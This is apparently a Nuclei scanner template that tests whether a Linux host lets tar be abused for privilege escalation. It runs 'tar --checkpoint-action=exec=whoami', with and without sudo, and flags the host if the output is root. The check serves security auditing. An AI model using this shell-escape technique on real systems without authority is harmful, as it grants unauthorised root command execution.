id: privesc-tar

info:
  name: tar - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    tar is a command-line utility used to create and manipulate archive files. It is commonly used for bundling multiple files and directories into a single archive, often used in conjunction with compression tools like gzip or bzip2.
  reference:
    - https://gtfobins.github.io/gtfobins/tar/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,tar,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami

  - engine:
      - sh
      - bash
    source: |
      sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4b0a00483046022100c505ccd3523d1185243180df012aa21eec0eb8062fe80bb508fe4ad53833ac4f022100c0478b121270a491ceea51d50c657ddc06b409067f7883554891c6698d51ab80:922c64590222798bb761d5b6d8e72950